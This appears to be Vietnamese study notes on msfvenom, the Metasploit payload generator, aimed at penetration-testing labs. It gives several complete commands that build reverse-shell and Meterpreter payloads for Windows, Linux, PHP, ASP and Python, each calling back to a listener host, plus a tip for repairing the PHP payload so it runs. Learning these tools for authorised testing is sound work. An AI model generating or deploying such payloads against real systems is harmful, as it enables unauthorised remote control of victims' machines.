Introduction
Metasploit Framework Venom (msfvenom), là một tool độc lập của Metasploit và thường được dùng để tạo ra shell code dành cho reverse shell và bind shell1. Payload của nó có thể là exe
, aspx
, war
hay py
.
Các payload này tương tự với các payload mà ta thiết lập khi sử dụng một module, tuy nhiên ở đây ta tạo ra payload một cách riêng lẻ.
Commands
Liệt kê các loại payload:
msfvenom -l payloads
Việc chọn payload dựa trên ba yếu tố của target machine:
- Hệ điều hành (Linux, Windows, etc).
- Chương trình được cài đặt (Python, PHP, etc).
- Kết nối mạng (TCP thô, chỉ được kết nối thông qua HTTPS, etc).
Cú pháp tạo payload:
msfvenom -p [payload] [options]
Ví dụ bên dưới tạo ra một Windows x64 reverse shell ở định dạng exe
:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=[listen_IP] LPORT=[listen_port]
Minh họa:
Giải thích các option:
f
: mô tả định dạng.-o
: mô tả tên và đường dẫn.LHOST=[listen_IP]
: mô tả địa chỉ IP mà reverse shell sẽ kết nối đến.LPORT=[listen_port]
: mô tả port mà reverse shell sẽ kết nối đến.
Một ví dụ khác:
msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php
Chú ý, payload được tạo ra ở dạng PHP có thể không đúng cú pháp (dòng <?php
bị comment và thiếu ?>
ở cuối). Vì thế nhớ sửa lại sao cho hoạt động được.
Other Payloads
Một số payload khác sử dụng Meterpreter:
-
Linux Executable and Linkable Format, cần đảm bảo là nó có quyền thực thi ở target machine.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
-
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
-
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
-
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
-
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
Tools
Resources
Footnotes
-
Xem thêm Introduction to Shells. ↩